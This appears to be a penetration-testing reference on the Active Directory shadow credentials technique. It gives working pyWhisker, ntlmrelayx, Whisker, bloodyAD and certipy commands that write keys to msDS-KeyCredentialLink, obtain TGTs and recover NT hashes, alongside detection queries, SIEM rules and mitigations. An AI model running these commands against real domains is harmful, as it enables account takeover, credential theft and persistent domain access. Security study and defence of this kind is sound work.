Shadow Credentials Attack
Shadow credentials is an advanced Active Directory attack technique that exploits the msDS-KeyCredentialLink attribute to gain unauthorized access and maintain persistence.
Shadow Credentials Attack
Overview
Shadow credentials is an advanced Active Directory attack technique that exploits the msDS-KeyCredentialLink attribute to gain unauthorized access or maintain persistence within an environment. This method leverages the Windows Hello for Business (WHfB) feature, which allows users to authenticate using public key credentials.
What are Shadow Credentials?
In a typical WHfB deployment, a user generates a key pair during enrollment. The public key is then linked to the user’s object in Azure Active Directory (AAD) and subsequently synchronized to the on-premises AD’s msDS-KeyCredentialLink attribute. This attribute facilitates key-based authentication mechanisms within the AD environment.
Attackers can abuse this mechanism by adding their own public keys to the msDS-KeyCredentialLink attribute of target user accounts. By doing so, they can authenticate as the compromised user without needing their password, effectively bypassing traditional credential-based authentication methods.
How Shadow Credentials Work
Technical Process
The Kerberos authentication protocol works with tickets to grant access. A Service Ticket (ST) can be obtained by presenting a Ticket Granting Ticket (TGT). The TGT can only be obtained by validating pre-authentication, which can be done symmetrically (with DES, RC4, AES128 or AES256 keys) or asymmetrically (with certificates). The asymmetrical pre-authentication is called PKINIT.
- Key Pair Generation: Attackers create an RSA key pair (public/private)
- Certificate Creation: Create an X509 certificate configured with the public key
- KeyCredential Structure: Create a KeyCredential structure featuring the raw public key and add it to the
msDS-KeyCredentialLinkattribute - PKINIT Authentication: Authenticate using PKINIT with the certificate and private key to obtain a TGT
Key Components
- msDS-KeyCredentialLink Attribute: The AD attribute that stores key credential information (introduced with Windows Server 2016)
- KeyCredentialLink Object: Contains public key information for certificate-based authentication
- PKINIT: Kerberos extension that enables public key authentication (present since Windows 2000)
- Windows Hello for Business: The legitimate feature that this attack technique abuses
- X509 Certificates: Used for asymmetric pre-authentication in Kerberos
Attack Prerequisites
Domain Requirements
To perform a shadow credentials attack, the domain must meet these criteria:
- Domain supports PKINIT and contains at least one Domain Controller running Windows Server 2016 or above
- Domain Controller(s) has its own key pair for session key exchange (happens when AD CS is enabled or when a certificate authority is in place)
- The
msDS-KeyCredentialLinkfeature is available (introduced with Windows Server 2016)
Required Permissions
The attacker needs:
- GenericWrite or GenericAll permissions on the target account
- WriteProperty permissions on the
msDS-KeyCredentialLinkattribute - Control over an account that can edit the target object’s
msDS-KeyCredentialLinkattribute
Target Account Requirements
- Target account must support certificate-based authentication
- Account must not be in the “Protected Users” group
- Account must have valid UPN (User Principal Name)
- For computer objects: can only edit their own
msDS-KeyCredentialLinkattribute if KeyCredential is not already set
Attack Methodology
Step 1: Identify Target Accounts
The attacker selects a user or computer account to target, typically focusing on:
- Service accounts with high privileges
- Administrative accounts
- Computer accounts for persistence
Step 2: Create Key Pair and Certificate
1
2
# Create an RSA key pair
# Create an X509 certificate configured with the public key
Step 3: Add Shadow Credentials
Using pyWhisker (UNIX-like systems)
1
2
3
4
5
# List existing shadow credentials
pywhisker.py -d "FQDN_DOMAIN" -u "USER" -p "PASSWORD" --target "TARGET_SAMNAME" --action "list"
# Add shadow credentials
pywhisker.py -d "FQDN_DOMAIN" -u "USER" -p "PASSWORD" --target "TARGET_SAMNAME" --action "add"
Using ntlmrelayx with pyWhisker
1
2
# Relay NTLM authentication and add shadow credentials
ntlmrelayx -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$'
Step 4: Authenticate with Certificate
Once the public key has been set in the msDS-KeyCredentialLink of the target, the certificate generated can be used with Pass-the-Certificate to obtain a TGT and further access.
Special Case: Self-Edit KCL Attribute
Important distinction:
- User objects can’t edit their own
msDS-KeyCredentialLinkattribute - Computer objects can edit their own
msDS-KeyCredentialLinkattribute (if KeyCredential is not already set)
This enables scenarios like:
- Trigger an NTLM authentication from DC01
- Relay it to DC02
- Use pywhisker to edit DC01’s attribute
- Create a Kerberos PKINIT pre-authentication backdoor
- Maintain persistent access to DC01 with PKINIT and pass-the-cache
Recovering the NT Hash from a PKINIT TGT
A shadow credentials attack does not only return a ticket. It usually returns the target account’s NT hash as well, which is worth understanding because it is what turns a one-shot ticket into a reusable credential.
When a TGT is issued through PKINIT, the KDC adds a PAC_CREDENTIAL_INFO buffer to the ticket’s PAC. That buffer carries the account’s NTLM secret, encrypted under the AS reply key. It exists for a legitimate reason: a user who authenticates with a smartcard or with Windows Hello never types a password, so without it they could never reach a service that only speaks NTLM. The KDC hands the NTLM secret to the client so the client can perform NTLM authentication on its own behalf.
An attacker holding a PKINIT TGT holds the AS reply key too, so the buffer decrypts. The NT hash comes out of Kerberos itself, with no DCSync, no NTDS access, and no LSASS touch.
Two ways to do it in practice:
1
2
# Certipy performs the decryption automatically after PKINIT
certipy auth -pfx target.pfx -dc-ip '<DC-IP>'
1
2
3
# Impacket, when you already have the ccache and the AS-REP key
# (a User-to-User AP-REQ is used to unwrap the PAC)
KRB5CCNAME=target.ccache getnthash.py -key '<AS-REP-key>' '<DOMAIN>/<target>'
This is why
msDS-KeyCredentialLinkwrite is scored as a full account takeover rather than as temporary ticket access. The ticket expires in ten hours, the NT hash does not, and the attribute can be reverted afterwards leaving nothing behind.
Detection Methods
Event Log Monitoring
Monitor for the following events:
- Event ID 5136: A directory service object was modified
- Event ID 4662: An operation was performed on an object
- Event ID 4768: A Kerberos authentication ticket (TGT) was requested
PowerShell Detection
1
2
3
4
5
6
7
8
# Find accounts with shadow credentials
Get-ADUser -Filter {msDS-KeyCredentialLink -ne $null} -Properties msDS-KeyCredentialLink
# Find computers with shadow credentials
Get-ADComputer -Filter {msDS-KeyCredentialLink -ne $null} -Properties msDS-KeyCredentialLink
# Detailed shadow credentials information
Get-ADUser -Identity "target_user" -Properties msDS-KeyCredentialLink | Select-Object -ExpandProperty msDS-KeyCredentialLink
SIEM Detection Rules
Monitor for Event ID 5136 with the following conditions:
winlog.event_data.AttributeLDAPDisplayName:"msDS-KeyCredentialLink"winlog.event_data.AttributeValue :B\:828*(indicates KeyCredential structure)- Exclude legitimate Microsoft Online services (
not winlog.event_data.SubjectUserName: MSOL_*)
Monitoring Directory Service Modifications
Detecting unauthorized modifications to the msDS-KeyCredentialLink attribute is crucial for identifying potential abuses of shadow credentials. In environments without WHfB or hybrid AAD join, any modification to this attribute should be considered suspicious.
Prevention and Mitigation
Access Control
- Principle of Least Privilege: Limit GenericWrite and GenericAll permissions
- Regular Auditing: Monitor for unusual permission grants
- Protected Users Group: Add sensitive accounts to Protected Users group
Monitoring
- Event Log Monitoring: Monitor for msDS-KeyCredentialLink modifications
- Certificate Monitoring: Monitor for unusual certificate requests
- Authentication Monitoring: Monitor for certificate-based authentication
Technical Controls
- Restrict Permissions: Limit the ability to modify the
msDS-KeyCredentialLinkattribute to only necessary accounts and services - Implement Monitoring: Set up alerts for changes to the
msDS-KeyCredentialLinkattribute, especially for high-privilege accounts - Regular Audits: Periodically review the
msDS-KeyCredentialLinkattributes of user accounts to ensure no unauthorized keys are present
Common Attack Scenarios
GenericWrite → Shadow Credentials Attack
Prerequisites: Attacker has GenericWrite or GenericAll permissions on target account
Attack Flow:
- Add Shadow Credentials: Use tools like bloodyAD, certipy, or pyWhisker to add key credentials to target account
- Request Certificate: Generate certificate using the added shadow credentials
- Authenticate: Use certificate for PKINIT authentication to obtain TGT
- Lateral Movement/Persistence: Use obtained access for further compromise
Target Types:
- Service Accounts: For lateral movement and service impersonation
- Computer Accounts: For persistence and domain controller access
- High-Privilege Accounts: For privilege escalation and administrative access
- Regular Users: For account takeover and credential theft
Tools and Exploitation
Primary Tools
pyWhisker
1
2
3
4
5
6
7
8
# List shadow credentials on target
pywhisker.py -d "FQDN_DOMAIN" -u "USER" -p "PASSWORD" --target "TARGET_SAMNAME" --action "list"
# Add shadow credentials to target
pywhisker.py -d "FQDN_DOMAIN" -u "USER" -p "PASSWORD" --target "TARGET_SAMNAME" --action "add"
# Remove shadow credentials from target
pywhisker.py -d "FQDN_DOMAIN" -u "USER" -p "PASSWORD" --target "TARGET_SAMNAME" --action "remove"
ntlmrelayx Integration
1
2
# Automatically add shadow credentials during NTLM relay
ntlmrelayx -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$'
Whisker (Windows)
1
2
3
4
5
6
7
8
# List shadow credentials
Whisker.exe list /target:target_user /domain:domain.com /dc:dc.domain.com
# Add shadow credentials
Whisker.exe add /target:target_user /domain:domain.com /dc:dc.domain.com
# Remove shadow credentials
Whisker.exe remove /target:target_user /domain:domain.com /dc:dc.domain.com /deviceid:device-id
bloodyAD
1
2
3
4
5
# Add shadow credentials to target account
bloodyAD -d domain.com --host 10.10.10.10 -u user -p password add shadowCredentials target_account
# Remove shadow credentials from target account
bloodyAD -d domain.com --host 10.10.10.10 -u user -p password remove shadowCredentials target_account
certipy shadow
certipy shadow auto runs the entire loop in one command: generate a key pair, append the Key Credential to the target’s msDS-KeyCredentialLink, PKINIT for a TGT, decrypt PAC_CREDENTIAL_INFO to recover the NT hash, and then restore the attribute’s original value.
1
2
# Full loop, including the restore
certipy shadow -dc-ip 10.10.10.10 -u user -p password -account target_account auto
The restore is what makes the technique quiet, but it is also the risk. If the target has a legitimate Windows Hello enrollment and the run dies between the write and the restore, the real user loses PIN and biometric logon. On an engagement, split the loop so the restore is an explicit step you control:
1
2
3
4
5
certipy shadow -dc-ip 10.10.10.10 -u user -p password -account target_account list
certipy shadow -dc-ip 10.10.10.10 -u user -p password -account target_account add
# ... authenticate, then clean up with the DeviceID printed by 'add'
certipy shadow -dc-ip 10.10.10.10 -u user -p password -account target_account \
-device-id '<device-id>' remove